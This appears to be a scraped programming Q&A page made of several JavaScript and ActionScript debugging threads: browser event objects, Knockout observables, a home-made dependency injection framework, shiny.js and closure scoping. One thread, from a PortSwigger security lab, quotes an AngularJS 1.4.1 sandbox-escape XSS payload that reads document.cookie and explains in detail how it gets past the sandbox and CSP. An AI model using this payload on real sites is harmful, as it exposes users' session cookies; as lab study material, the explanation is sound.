javascript error is null or not an object - javascript

I am trying to open a window from a php script. But when I click I get this error
Line: 389
Error: 'surgExpressBuildDefaultButton' is null or not an object
Line 389 code is as follow
function setupLayout(i)
{
document.body.onselectstart = function()
{
if (event.srcElement.tagName.search(/input|textarea/i)) return false;
}
setupButtons();
if(window.parent.opener.parent.frames[0].surgExpressBuildDefaultButton)
{
buttonClick(window.parent.opener.parent.frames[0].surgExpressBuildDefaultButton);
}
else
{
layout.buttons.commonButton.fixSelected();
}
for(i = 0; i < da.imgPlus.length; i++)
{
da.imgPlus[i].onclick = clickPlus;
da.imgMinus[i].onclick = clickMinus;
}
for(i = 0; i < da.spnName.length; i++)
{
da.spnName[i].selected = 0;
da.spnName[i].title = da.spnName[i].innerText;
da.spnName[i].onclick = function(){selectCommonProcedure(this);}
da.spnName[i].ondblclick = function(){addCommonProcedure(this);}
da.spnName[i].onmouseout = function(){this.className = (this.selected ? "nSelected" : "nOut");}
da.spnName[i].onmousedown = function(){this.className = "nDown";}
da.spnName[i].onmouseover = da.spnName[i].onmouseup = function(){this.className = "nOver";}
}
da.inpSearch.onkeydown = function(){if(event.keyCode == 13) updateProcedureList();}
da.btnSearch.onclick = da.selSpecialty.onchange = updateProcedureList;
da.btnClose.onclick = function(){window.close();}
da.btnAdd.disable = da.btnSave.disable = CC.Disable;
da.btnAdd.disable(1);
da.btnAdd.onclick = addCommonProcedure;
da.btnSave.disable(1);
da.btnSave.onclick = saveExpress;
}
what could be the problem. Any idea?

It's hard to tell without knowing which of those four dozen lines is line 489, but this jumped out at me:
function setupLayout(i)
{
document.body.onselectstart = function()
{
if (event.srcElement.tagName.search(/input|textarea/i)) return false;
^-- here
You're using event without having declared it (at least, not in the code you quoted). On IE, that'll work because IE makes the event object a property of window (and unless they're shadowed by other declarations, you can access window properties without explicitly qualifying them), but on most other browsers the event object is an argument to the event handler function – and so that code tries to use an undefined value as an object reference, which triggers exactly the error message you're seeing.
The usual idiom for dealing with this discrepancy in browsers (other than using a library like jQuery or Prototype that handle it for you) is this:
document.body.onselectstart = function(event)
{
event = event || window.event;
// ...
};
That idiom declares event it as an argument to the function, but then has it fall back to looking on the window (to support IE).

Related

Plz explain this Angular JS script:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.1/angular.min.js"></script>
<script>
location='https://www.example.com/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
Angular JS Version: 1.4.1 (which still uses Angular JS Sandbox)
Can anyone explain the script inside location variable after the search part?
Specifically what is going inside the orderBy function? - '(z=alert)(docuement.cookie)'#x
How is the alert function being called? etc.
I came across it while solving this lab: https://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox/lab-angular-sandbox-escape-and-csp
Please let me know if my question needs any more clarification. You can even point me to the specific place at the angularJs docs where this is discussed.
First of all the #x is not part of the orderBy-expression. It is the url fragment. This causes the browser to focus on the input element, thus triggering the ng-focus event.
Just so that we are on the same page here. This is the injected code: <input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>
The high level view of the exploit is provided by the solution on the page you linked:
The exploit uses the ng-focus event in AngularJS to create a focus event that bypasses CSP. It also uses $event, which is an AngularJS variable that references the event object. The path property is specific to Chrome and contains an array of elements that triggered the event. The last element in the array contains the window object.
Normally, | is a bitwise or operation in JavaScript, but in AngularJS it indicates a filter operation, in this case the orderBy filter. The colon signifies an argument that is being sent to the filter. In the argument, instead of calling the alert function directly, we assign it to the variable z. The function will only be called when the orderBy operation reaches the window object in the $event.path array. This means it can be called in the scope of the window without an explicit reference to the window object, effectively bypassing AngularJS's window check.
However this does not explain how the alert function is actually called. The solution is hidden in the depths of the AngularJS source code. AngularJS uses its $parse-service to parse expression given to it in attributes. As stated above the expression is a filter-expression using the orderBy-filter. The orderBy-filter implements a function, that takes an array ($event.path) and a sort expression ('(z=alert)(document.cookie)') as arguments and returns the ordered array.
What does the orderBy-filter do with the sort expression?
The sort expression is evaluated against the elements of the array to extract the key which should be used to order the elements. (There are plenty of examples in the doc: https://code.angularjs.org/1.4.1/docs/api/ng/filter/orderBy). How does the orderBy-filter do this? It passes the sort expression to the $parse function to transform it into a JS function. The resulting function looks like this:
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5 = l && ('z'in l), v6 = l && ('alert'in l), v7, v8, v9 = l && ('document'in l);
v4 = v5 ? l : s;
if (!(v5)) {
if (s) {
v3 = s.z;
}
} else {
v3 = l.z;
}
if (v4 != null) {
if (!(v6)) {
if (s) {
v2 = s.alert;
}
} else {
v2 = l.alert;
}
ensureSafeObject(v4.z, text);
v1 = v4.z = v2;
if (v1 != null) {
ensureSafeFunction(v1, text);
if (!(v9)) {
if (s) {
v8 = s.document;
}
} else {
v8 = l.document;
}
if (v8 != null) {
v7 = v8.cookie;
}
v0 = ensureSafeObject(v1(ensureSafeObject(v7, text)), text);
}
}
return v0;
};
This function is called for every element in $event.path. It is pretty ugly so I tried to clean it up a bit and make it easier to follow:
var fn = function(element, l, a, i) {
// element is the element from $event.path all other parameters are undefined
// these are all falsy
const hasLPropertyZ = l && ('z'in l);
const hasLPropertyAlert = l && ('alert'in l);
const hasLPropertyDocument = l && ('document'in l);
const elementOrL = hasLPropertyZ ? l : element;
// this block is useless
let elementZ;
if (!(hasLPropertyZ)) {
if (element) {
elementZ = element.z;
}
} else {
elementZ = l.z;
}
// ----------------------
let returnValue;
if (elementOrL != null) {
// here begins the real action. We are reading the alert property from our element.
let elementAlert;
if (!(hasLPropertyAlert)) {
if (element) {
elementAlert = element.alert;
}
} else {
elementAlert = l.alert;
}
ensureSafeObject(elementOrL.z, text);
// and assigning it to property z of our element
// this is the (z=alert) part of the expression
const alertFunction = elementOrL.z = elementAlert;
// if the alertFunction is null (on all elements except the window element) we don't do anything.
if (alertFunction != null) {
// one would think that we would get caught here, but this function only checks for call, apply, bind and the function constructor
ensureSafeFunction(alertFunction, text);
// here we are reading window.document
let theDocument;
if (!(hasLPropertyDocument)) {
if (element) {
theDocument = element.document;
}
} else {
theDocument = l.document;
}
// then we read document.cookie
let theCookie;
if (theDocument != null) {
theCookie = theDocument.cookie;
}
// executing alert
returnValue = ensureSafeObject(alertFunction(ensureSafeObject(theCookie, text)), text);
}
}
return returnValue;
};
return fn;
As you can see, this function essentially implements the following code:
function(element) {
const alertFunction = element.alert;
element.z = alertFunction;
alertFunction(element.document.cookie);
}
I hope this helps. Let me know if I can clarify something.

Get object out of observable array

Why is m "undefined" in this code:
currentViewModel = ko.mapping.fromJS(viewModel);
currentViewModel.getReport = function(reportId) {
for(var i=0;i<currentViewModel.availableReports().length;i++) {
if(currentViewModel.availableReports()[i].id == reportId) {
var m = currentViewModel.availableReports()[i];
return currentViewModel.availableReports()[i];
}
}
}
I call getReport() as an onclick event and I want to send the report object to a view (modal) I can do a foreach on the availableReports and it's all there. When I run through the debugger, it loops through the array and finds the right one. But why can't I pull it out of the array? "m" remains undefined the the function returns undefined.
What am I missing here?
EDIT: there is a follow up question here:
Can knockout.js wait to bind until an onClick?
You just need to change if(currentViewModel.availableReports()[i].id ... to if(currentViewModel.availableReports()[i].id() ... because after mapping id will become an observable, i.e. function.
Updated code:
currentViewModel = ko.mapping.fromJS(viewModel);
currentViewModel.getReport = function(reportId) {
for (var i = 0; i < currentViewModel.availableReports().length; i++) {
if (currentViewModel.availableReports()[i].id() == reportId) {
var m = currentViewModel.availableReports()[i];
return currentViewModel.availableReports()[i];
}
}
}
Demo - Fiddle.
I'll repeat the solution from #NikolayErmakov's answer here, but want to add two things to get a more complete answer. You end with:
...m remains undefined and the function returns undefined.
What am I missing here?
You're missing two things:
The var m bit of the first statement inside the if is hoisted to the top of the current scope (the top of the function). This is why the debugger can tell you what m is, even if you never reach the line of code it's on.
If a function invocation reaches the end of a function (as is the case for you, since you never go inside the if) without seeing an explicit return statement, it will return undefined.
To better understand this, you should interpret your function like this:
currentViewModel.getReport = function(reportId) {
var m;
for (var i = 0; i < currentViewModel.availableReports().length; i++) {
if (currentViewModel.availableReports()[i].id == reportId) {
m = currentViewModel.availableReports()[i];
return currentViewModel.availableReports()[i];
}
}
return undefined;
}
Some people (e.g. Douglas Crockford) do recommend placing var statements at the top of a function, though it's a matter of style to some degree. I don't think many people explicitly return undefined at the end of a function, though in your case I might be explicit about that scenario and return null (or throw an Error even).
As promised, I'll repeat the actual solution, as I concur with the other answer:
you need to invoke id as a function to get its value (because the mapping plugin will map to observable()s.
In addition:
I'd retrieve the array only once
I'd suggest using === instead of ==
Here's my v0.5 version:
currentViewModel.getReport = function(reportId) {
var m = null, reports = currentViewModel.availableReports();
for (var i = 0; i < reports.length; i++) {
if (reports[i].id() === reportId) {
m = reports[i];
return m;
}
}
return m;
}
But I'd optimize it to this v1.0:
currentViewModel.getReport = function(reportId) {
var reports = currentViewModel.availableReports();
for (var i = 0; i < reports.length; i++) {
if (reports[i].id() === reportId) {
return reports[i];
}
}
return null;
}
For completeness, here's another version that utilizes filter on arrays:
currentViewModel.getReport = function(reportId) {
var reports = currentViewModel.availableReports().filter(function(r) { return r.id() === reportId; });
return reports.length >= 1 ? reports[0] : null;
}

My object isn't updating by reference, what's wrong with the logic?

I've been working with this bug for a few days now, and I think I've pinpointed the problem area, but I'm not sure why it doesn't work. I think it may have to do with a problem with passing an object by reference, but if that's the case I'm not sure how to apply that solution to my situation.
Basically, I'm working on (as a learning experience) my own implementation of dependency injection (although I've been told my structure is actually called AMD, I'll keep using "DI" until I understand more about the difference). So I'll briefly explain my code, then highlight the problematic part.
The syntax:
This is what my code should do, it's just very very simple DI.
I created scope with a string path, using "/scopeName/subScopeName:componentName" to select a scope, so that code users can select the scope while defining the component in a simple way, using a ":" to select a component from the scope.
There are no interfaces since it's so simple to type check in JS. There are no special component types such as factories, values, etc, every component is treated equally.
var JHTML = new Viziion('JHTML');
JHTML.addScope('/generate');
/* ... snip ... */
JHTML.addComponent('/generate:process', function(nodes) {
/* ... snip - the code inside isn't important here - snip ..*/
}).inject(['/generate:jsonInput']);
The inject function just takes an array of component paths in the order the component's arguments are expected.
Hooks are components stored in the hooks property, and then there's a function returnUserHandle which will return an object consisting of just the hooks, so all of the functions are hidden in closures, and you can feed the code user just the usable methods.
JHTML.addHook('generate', function(jsonInput, process) {
var html = process(jsonInput);
return html;
}).inject(['/generate:jsonInput', '/generate:process']);
var handle = JHTML.returnUserHandle();
/* HTML Generator Syntax - Client */
console.log(handle.generate());
The problem:
To point inject to the correct object intuitively, there's a focus property on the main object, and I thought I could use that.focus ( which is a reference to this.focus) within my different methods such as addComponent and inject to link new functions to the correct location in my scope model and have them still referenced in focus after being created with addComponent or after being called by the focusComponent method, and then inject could find the dependencies, and "wire" them by doing this:
that.focus = function() {
that.focus.apply(null, dependencies);
};
And I thought that would package the dependencies (an array) as a closure and when the code user calls the function, the correct dependencies get applied and that's the ball game. But nope. The functions dont seem to be passing by reference from that.focus into the scope model. that.focus updates, but the scope model does not.
What's wrong with my reference logic?
The code:
Here's a simplified version of the code. I think I've done my best to explain how it works and where exactly the reference problem I'm trying to solve is located.
/* Dependency Injection Framework - viziion.js */
function Viziion() {
var that = this;
//here's the focus property I mentioned
this.focus = null;
this.scope = {
'/': {
'subScopes': {},
'components': {}
}
};
this.hooks = {};
this.addScope = function(scopeName) {
/* the way this works inst relevant to the problem */
};
this.addComponent = function(componentName, func) {
var scopeArray = // snip
// snip - just code to read the component path
for (var i = 0; i <= scopeArray.length; i++) {
if (scopeArray[i] !== "") {
if (scope.subScopes[scopeArray[i]]) {
scope = scope.subScopes[scopeArray[i]];
} else if (i == scopeArray.length) {
// And here's where I add the component to the scope model
// and reference that component in the focus property
scope.components[scopeName] = func;
that.focus = scope.components[scopeName];
} else {
throw 'Scope path is invalid.';
}
}
}
} else {
throw 'Path does not include a component.';
}
return that;
};
this.returnComponent = function(componentName, callback) {
/* ... snip ... */
};
this.addHook = function(hookName, func) {
/* ... snip ... */
};
this.inject = function(dependencyArray) {
if (dependencyArray) {
var dependencies = [];
for (var i = 0; i < dependencyArray.length; i++) {
that.returnComponent(dependencyArray[i], function(dependency) {
dependencies.push(dependency);
});
}
that.focus = function() {
that.focus.apply(null, dependencies);
};
return that;
}
};
/* ... snip - focusComponent - snip ... */
/* ... snip - returnUserHandle - snip ... */
This should, when applied as shown up above under the "Syntax" header, produce a console log with a string of HTML.
Instead, I get TypeError: undefined is not a function, corresponding to the line var html = process(jsonInput);.
If you want to test the full code, all together, here it is:
/* Dependency Injection Framework - viziion.js */
function Viziion(appName) {
if (typeof appName == 'string') {
var that = this;
this.name = appName;
this.focus = null;
this.scope = {
'/': {
'subScopes': {},
'components': {}
}
};
this.hooks = {};
this.addScope = function(scopeName) {
if (typeof scopeName == 'string') {
var scopeArray = scopeName.split('/');
var scope = that.scope['/'];
for (var i = 0; i < scopeArray.length; i++) {
if (scopeArray[i] !== "") {
if (scope.subScopes[scopeArray[i]]) {
scope = scope.subScopes[scopeArray[i]];
} else {
scope.subScopes[scopeArray[i]] = {
'subScopes': {},
'components': {}
};
}
}
}
} else {
throw 'Scope path must be a string.';
}
return that;
};
this.addComponent = function(componentName, func) {
if (typeof componentName == 'string') {
var scopeArray = componentName.split(':');
if (scopeArray.length == 2) {
var scope = that.scope['/'];
var scopeName = scopeArray[1];
scopeArray = scopeArray[0].split('/');
for (var i = 0; i <= scopeArray.length; i++) {
if (scopeArray[i] !== "") {
if (scope.subScopes[scopeArray[i]]) {
scope = scope.subScopes[scopeArray[i]];
} else if (i == scopeArray.length) {
scope.components[scopeName] = func;
that.focus = scope.components[scopeName];
} else {
throw 'Scope path is invalid.';
}
}
}
} else {
throw 'Path does not include a component.';
}
} else {
throw 'Component path must be a string.';
}
return that;
};
this.returnComponent = function(componentName, callback) {
if (typeof componentName == 'string') {
var scopeArray = componentName.split(':');
if (scopeArray.length == 2) {
var scope = that.scope['/'];
var scopeName = scopeArray[1];
scopeArray = scopeArray[0].split('/');
for (var i = 0; i <= scopeArray.length; i++) {
if (scopeArray[i] !== "") {
if (i == scopeArray.length) {
callback(scope.components[scopeName]);
} else if (scope.subScopes[scopeArray[i]]) {
scope = scope.subScopes[scopeArray[i]];
} else {
throw 'Scope path is invalid.';
}
}
}
} else {
throw 'Path does not include a component.';
}
} else {
throw 'Component path must be a string.';
}
};
this.addHook = function(hookName, func) {
if (typeof hookName == 'string') {
that.hooks[hookName] = func;
that.focus = that.hooks[hookName];
} else {
throw 'Hook name must be a string.';
}
return that;
};
this.inject = function(dependencyArray) {
if (dependencyArray) {
var dependencies = [];
for (var i = 0; i < dependencyArray.length; i++) {
that.returnComponent(dependencyArray[i], function(dependency) {
dependencies.push(dependency);
});
}
console.log(that.focus);
that.focus = function() {
that.focus.apply(null, dependencies);
};
console.log(that.focus);
console.log(that.scope);
return that;
}
};
this.focusComponent = function(componentPath) {
that.focus = that.returnUserHandle(componentPath);
};
this.returnUserHandle = function() {
return that.hooks;
};
} else {
throw 'Viziion name must be a string.';
}
}
/* JSON HTML Generator - A Simple Library Using Viziion */
var JHTML = new Viziion('JHTML');
JHTML.addScope('/generate');
JHTML.addComponent('/generate:jsonInput', [{
tag: '!DOCTYPEHTML'
}, {
tag: 'html',
children: [{
tag: 'head',
children: []
}, {
tag: 'body',
children: []
}]
}]);
JHTML.addComponent('/generate:process', function(nodes) {
var html = [];
var loop = function() {
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].tag) {
html.push('<' + tag + '>');
if (nodes[i].children) {
loop();
}
html.push('</' + tag + '>');
return html;
} else {
throw '[JHTML] Bad syntax: Tag type is not defined on node.';
}
}
};
}).inject(['/generate:jsonInput']);
JHTML.addHook('generate', function(jsonInput, process) {
console.log('Process func arg:');
console.log(process);
var html = process(jsonInput);
return html;
}).inject(['/generate:jsonInput', '/generate:process']);
var handle = JHTML.returnUserHandle();
/* HTML Generator Syntax - Client */
console.log(handle.generate());
Big question, bigger answer. Let's get started.
Heavy OOP, Proper Scope
First and foremost, from your code, it looks like you maybe don't fully grasp the concept of this.
Unless you change the execution context of an object's methods beforehand, said object's methods always have their contextual this bound to the object instance.
That is:
function A () {
var that = this;
this.prop = 1;
this.method = function () {
console.log(that.prop);
};
}
new A().method();
is generally equivalent to:
function A () {
this.prop = 1;
this.method = function () {
console.log(this.prop);
};
}
new A().method();
unless method is adjusted before execution with .bind, .call, or .apply.
Why does this matter? Well, if we use our this context properly we can utilize object prototypes. Prototypes serve as a far more elegant solution to defining every method of an object on a per-instance basis.
Here we create two instances, but only ever one method.
function A () {
this.prop = 1;
}
A.prototype.method = function () {
console.log(this.prop);
};
new A().method();
new A().method();
This is important for clarity, and later on is important when you are binding contexts and arguments to functions (!).
Code Hygiene
You can skip this topic if you like (head down to The Problems(s)), since it might be considered out of place, but keep in mind it does relate to part of the problem with the code.
Your code is hard to read.
Here are some thoughts on that.
Prototypes
Use them. You shouldn't need to worry about users changing execution contexts on you, as that's probably a misuse of your program. Security shouldn't be a concern considering they have the source code.
Not much else to say here.
Exit early
If you're doing sanity checks, try to opt out as early in your code as you can. If you need to throw because of a type mismatch, throw right then and there - not 27 lines later.
// Not great
if (typeof input === 'string') {
...
} else throw 'it away';
// Better
if (typeof input !== 'string') throw 'it away';
...
This goes for loops as well - making appropriate use of the continue keyword. Both of these things improve code clarity, and reduce nesting and code bloat.
Loop caching
When you're looping over a data structure, and you plan to use the current element several times within the block, you should save that element in a variable. Accessing elements and properties isn't necessarily a free-OP.
// Not great
for (var i = 0; i < myArray.length; i++) {
if (myArray[i] > 5) callback(myArray[i]);
internalArray.push(myArray[i]);
}
// Better
var len = myArray.length, element;
for (var i = 0; i < len; i++) {
element = myArray[i];
if (element > 5) callback(element);
internalArray.push(element);
}
When used correctly this improves both clarity and performance.
The Problem(s)
First off, what are we really doing here? The whole problem boils down to an overly complicated application of function binds. That is, simply changing the execution contexts of functions.
I'll also state outright that this program has no bug - it's just flawed.
The major crux of the problem would be these three lines
that.focus = function() {
that.focus.apply(null, dependencies);
};
found in the inject method. They don't make any sense. This would cause an infinite recursion, plain and simple. When you define that function, it doesn't care at all what the focus property of that is right then and there. That matters solely at execution time.
Lucky for us, we never actually get that far, since the process component doesn't get bound correctly.
A huge part of the problem is the focus property. In your program, you're using this as a sort of most recent action. A singular history as to what has just occurred. The problem is, you've tried to hot-swap this value in strange ways.
The focus property (and as you'll see later, other properties) is needed however, because of the reverse application of inject. The way you've structured your component/hook registers into inject model requires state to be held between method invocations.
As an end note for this section, the process component function definition would never have returned anything. Even if your model was correct, your input was flawed. handle.generate() would have returned undefined always.
The Answer(s)
So how can we fix this? Well, the first idea would be to scrap it, honestly. The reverse injection model is ugly, in my opinion. The level of indirection involved with the inject method is very confusing from the surface.
But then we wouldn't learn anything, would we?
So really, how do we fix this? Well, much to the dismay of the functional programmers reading, we need to hold more state.
On its own, our focus property can't provide enough information to properly change the execution contexts of our functions.
On top of our focus, which will simply hold a reference to our most recent component value, we need the field (component/hook name), and the fragment (component object, nothing if hook).
Using these two or three values inside inject, we can take our depedancies array, bind it to our focus, and set the resulting function back into our field.
The great thing about the next part is we can actually drop our closure by making the contextual this of our component/hook the unbound function.
The whole operation looks like this:
var focus = this.focus,
fragment = this.fragment,
field = this.field,
hook = function hook () {
return this.apply(null, arguments);
}, func;
dependencies.unshift(focus);
func = Function.prototype.bind.apply(hook, dependencies);
if (fragment) fragment[field] = func;
else this.hooks[field] = func;
Most of this should be pretty straight forward, but there is one piece that may give people some issues. The important thing to remember is we are essentially creating two functions in sequence here, 'discarding' the first in a sense. (It should be noted that this can be done another way with hook.bind.apply, but it creates even more confusing code. This is about as elegant as you can get.)
dependencies.unshift(focus);
func = Function.prototype.bind.apply(hook, dependencies);
First, we add our focus (our original function) to the front of our list of dependencies. This is important in a moment.
Then we invoke Function.prototype.bind using Function.prototype.apply (remembering that function prototype methods also share the function prototype methods. Pretty much turtles all the way down).
Now we pass our bind context, hook, and our prefixed dependencies to apply.
hook is used as the host for bind, whose contextual this is altered by the first element of the array of arguments passed to apply. The remaining elements are unrolled to shape the subsequent arguments of bind, thus creating the bound arguments of the resulting function.
This isn't a very simple concept, so take your time.
The other thing to note is I've dropped focusComponent completely. Its implementation didn't make sense in context. Your model relies on a last input injection, so you'll need to re-implement focusComponent as a method that simply adjusts the focus, field, and fragment states.
A small sub-fix is the process component function. Not going to go into detail here. You can compare and contrast with your original code, the differences are pretty obvious.
JHTML.addComponent('/generate:process', function (nodes) {
return (function build (struct, nodes) {
var length = nodes.length, node, tag;
for (var i = 0; i < length; i++) {
node = nodes[i];
tag = node.tag;
if (!tag) throw '[JHTML] Bad syntax: Tag type is not defined on node.';
struct.push('<' + tag + '>');
if (node.children) {
build(struct, node.children)
struct.push('</' + tag + '>');
}
}
return struct;
}([], nodes));
}).inject(['/generate:jsonInput']);
The Code
Below is what I would consider a fixed version of your code. It's written in a style that I find useful for both clarity and performance.
/* Dependency Injection Framework - viziion.js */
function Scope () {
this.subScopes = {};
this.components = {};
}
function Viziion (appName) {
if (typeof appName !== 'string') throw 'Viziion name must be a string.';
this.name = appName;
this.working = this.field = this.focus = null
this.scope = { '/': new Scope() };
this.hooks = {};
}
Viziion.prototype.addScope = function (scopeName) {
if (typeof scopeName !== 'string') throw 'Scope path must be a string.';
var scopeArray = scopeName.split('/'),
scope = this.scope['/'],
len = scopeArray.length,
element, sub;
for (var i = 0; i < len; i++) {
element = scopeArray[i];
if (element === '') continue;
sub = scope.subScopes[element]
if (sub) scope = sub;
else scope.subScopes[element] = new Scope();
}
return this;
};
Viziion.prototype.addComponent = function (componentName, func) {
if (typeof componentName !== 'string') throw 'Component path must be a string.';
var scopeArray = componentName.split(':'),
len, element, sub;
if (scopeArray.length != 2) throw 'Path does not include a component.';
var scope = this.scope['/'],
scopeName = scopeArray[1];
scopeArray = scopeArray[0].split('/');
len = scopeArray.length;
for (var i = 0; i <= len; i++) {
element = scopeArray[i];
if (element === '') continue;
sub = scope.subScopes[element];
if (sub) scope = sub;
else if (i === len) {
this.fragment = scope.components;
this.field = scopeName;
this.focus = scope.components[scopeName] = func;
}
else throw 'Scope path is invalid';
};
return this;
};
Viziion.prototype.returnComponent = function (componentName, callback) {
if (typeof componentName !== 'string') throw 'Component path must be a string.';
var scopeArray = componentName.split(':'),
len, element, sub;
if (scopeArray.length != 2) throw 'Path does not include a component.';
var scope = this.scope['/'],
scopeName = scopeArray[1];
scopeArray = scopeArray[0].split('/');
len = scopeArray.length;
for (var i = 0; i <= len; i++) {
element = scopeArray[i];
if (element === '') continue;
sub = scope.subScopes[element]
if (i === len) callback(scope.components[scopeName]);
else if (sub) scope = sub;
else throw 'Scope path is invalid';
}
};
Viziion.prototype.addHook = function (hook, func) {
if (typeof hook !== 'string') throw 'Hook name must be a string.';
this.fragment = null;
this.field = hook;
this.focus = this.hooks[hook] = func;
return this;
};
Viziion.prototype.inject = function (dependancyArray) {
if (!dependancyArray) return;
var dependencies = [],
len = dependancyArray.length,
element;
function push (dep) { dependencies.push(dep); }
for (var i = 0; i < len; i++) {
element = dependancyArray[i];
this.returnComponent(element, push);
}
var focus = this.focus,
fragment = this.fragment,
field = this.field,
hook = function hook () {
return this.apply(null, arguments);
}, func;
dependencies.unshift(focus);
func = Function.prototype.bind.apply(hook, dependencies);
if (fragment) fragment[field] = func;
else this.hooks[field] = func;
return this;
};
Viziion.prototype.returnUserHandle = function () { return this.hooks; };
/* JSON HTML Generator - A Simple Library Using Viziion */
var JHTML = new Viziion('JHTML');
JHTML.addScope('/generate');
JHTML.addComponent('/generate:jsonInput', [{
tag: '!DOCTYPE html'
}, {
tag: 'html',
children: [{
tag: 'head',
children: []
}, {
tag: 'body',
children: []
}]
}]);
JHTML.addComponent('/generate:process', function (nodes) {
return (function build (struct, nodes) {
var length = nodes.length, node, tag;
for (var i = 0; i < length; i++) {
node = nodes[i];
tag = node.tag;
if (!tag) throw '[JHTML] Bad syntax: Tag type is not defined on node.';
struct.push('<' + tag + '>');
if (node.children) {
build(struct, node.children)
struct.push('</' + tag + '>');
}
}
return struct;
}([], nodes));
}).inject(['/generate:jsonInput']);
JHTML.addHook('generate', function (jsonInput, process) {
return process(jsonInput);
}).inject(['/generate:jsonInput', '/generate:process']);
var handle = JHTML.returnUserHandle();
console.log(JHTML);
/* HTML Generator Syntax - Client */
console.log(handle.generate());

shiny.js - method not called

I've implemented a javascript-file that, show a loading screen while the shiny is busy. It didn't worked so I've debugged it and I've found that the function
addMessageHandler('progress', function(message) {
$(document.documentElement).addClass('shiny-busy');
for (var i = 0; i < message.length; i++) {
var key = message[i];
var binding = this.$bindings[key];
if (binding && binding.showProgress) {
binding.showProgress(true);
}
}
});
is never called. But the function that removes the class("shiny-busy") it's always called.
The problem seems to be here:
// A function for sending messages to the appropriate handlers.
// - msgObj: the object containing messages, with format {msgObj.foo, msObj.bar
this._sendMessagesToHandlers = function(msgObj, handlers, handlerOrder) {
// Dispatch messages to handlers, if handler is present
for (var i = 0; i < handlerOrder.length; i++) {
var msgType = handlerOrder[i];
if (msgObj[msgType]) { //when msgType = "progress", the if is false and so the function for addClass("shiny-busy") it's not called
// Execute each handler with 'this' referring to the present value of
// 'this'
handlers[msgType].call(this, msgObj[msgType]);
}
}
};
How can/should I solve the problem?
Thank you!
EDIT: PROBLEM SOLVED!

Weird Event Listening in ActionScript3

I have a weird quirk in ActionScript. I need to pass the index to a callback function.
Here is my code
for (var i:Number = 0; ((i < arrayQueue.length) && uploading); i++)
{
var lid:ListItemData=ListItemData(arrayQueue[i]);
var localI:Number= new Number(i); // to copy?
var errorCallback:Function = function():void { OnUploadError(localI); };
var progressCallback:Function = function(e:ProgressEvent):void { lid.progress = e; OnUploadProgress(localI); };
var completeCallback:Function = function():void { Alert.show('callback'+localI.toString()); OnUploadComplete(localI); }; // localI == arrayQueue.length - 1 (when called)
Alert.show(localI.toString()); // shows current i as expected
lid.fileRef.addEventListener(Event.COMPLETE, completeCallback);
lid.fileRef.addEventListener(ProgressEvent.PROGRESS, progressCallback);
lid.fileRef.addEventListener(HTTPStatusEvent.HTTP_STATUS, errorCallback);
lid.fileRef.addEventListener(IOErrorEvent.IO_ERROR, errorCallback);
lid.fileRef.addEventListener(SecurityErrorEvent.SECURITY_ERROR, errorCallback);
lid.fileRef.upload(url, 'File');
}
Any idea on how to pass in the index to my callbacks? .upload does not block.
Passing additional parameters for your callbacks is possible via some kind of delegate function or closure. However it is often considered a bad practice. You may use event target property instead to determine your index based on FileReference.
Edit: here is a sample of using closures:
function getTimerClosure(ind : int) : Function {
return function(event : TimerEvent) {
trace(ind);
};
}
for (var i = 0; i < 10; i++) {
var tm : Timer = new Timer(100*i+1, 1);
tm.addEventListener(TimerEvent.TIMER, getTimerClosure(i));
tm.start();
}
This will continuously trace numbers from 0 to 9.
Edit2: here is a sample of creating a delegate based on a function closure:
function timerHandler(event : Event, ...rest) : void {
trace(event, rest);
}
function Delegate(scope : Object, func : Function, ...rest) : Function {
return function(...args) : void {
func.apply(scope, args.concat(rest));
}
}
var tm : Timer = new Timer(1000, 1);
tm.addEventListener(TimerEvent.TIMER, Delegate(this, this.timerHandler, 1, 2, 3));
tm.start();
However this is a bad approach since unsubscribing for such a listener is a hell pain. This in turn will probably cause some memory leakages, which will decrease overall performance of your application. So, use with caution!
Bottom line: if you know how to work with closures, use them - it is a wonderful thing! If you don't care about your application performance in a long perspective, use closures - it's simple!
But if you are unsure about closures, use a more conventional approach. E.g. in your case you could create a Dictionary that matches your FileReference objects to appropriate indices. Something like that:
var frToInd : Dictionary = new Dictionary(false);
// false here wouldn't prevent garbage collection of FileReference objects
for (var i : int = 0; i < 10; i++) {
// blah-blah stuff with `lib` objects
frToInd[lib.fileRef] = i;
// another weird stuff and subscription
}
function eventListener(event : Event) : void {
// in the event listener just look up target in the dictionary
if (frToInd[event.target]) {
var ind : int = frToInd[event.target];
} else {
// Shouldn't happen since all FileReferences should be in
// the Dictionary. But if this happens - it's an error.
}
}
-- Happy coding!
I have a weird quirk in ActionScript
It's not a quirk, it's variable scope. You should read this article: http://help.adobe.com/en_US/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7f9d.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7f8c
And you really shouldn't use anonymous, it just makes everything more confusing. You're actually making multiple copies of the same object.
If the arrayQueue is in scope, you can use this code to get the index:
GetArrayIndex(e.currentTarget);
function GetArrayIndex(object:Object):Number
{
for(var i:Number = 0; 0 < arrayQueue.length; i++)
{
if(object === arrayQueue[i])
return i;
}
}
You should consider using an uint for the index.

Categories

Resources